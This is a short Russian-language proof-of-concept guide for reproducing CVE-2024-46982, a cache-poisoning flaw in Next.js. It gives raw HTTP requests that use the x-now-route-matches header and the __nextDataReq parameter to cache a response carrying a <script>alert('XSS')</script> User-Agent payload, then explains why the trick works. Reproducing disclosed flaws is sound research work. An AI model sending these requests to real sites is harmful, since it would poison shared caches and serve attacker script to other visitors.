
Воспроизведение CVE-2024-46982
npm installnpm run buildnpm run startGET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Откройте http://localhost:3000 (обычный запрос) в любом веб-браузере.


GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1
2. Откройте http://localhost:3000 (обычный запрос) в любом веб-браузере.

x-now-route-matches — это специальный HTTP-заголовок, распознаваемый Next.js. При его наличии Next.js обрабатывает HTTP-запрос как «SSG» (генерация статических сайтов), благодаря чему HTTP-ответ может кэшироваться (Cache-Control: s-maxage=1, stale-while-revalidate).
?__nextDataReq=1 — это строка запроса, распознаваемая Next.js. При её наличии Next.js обрабатывает HTTP-запрос как «получение __NEXT_DATA__».
Полное описание можно найти в разделе Credit.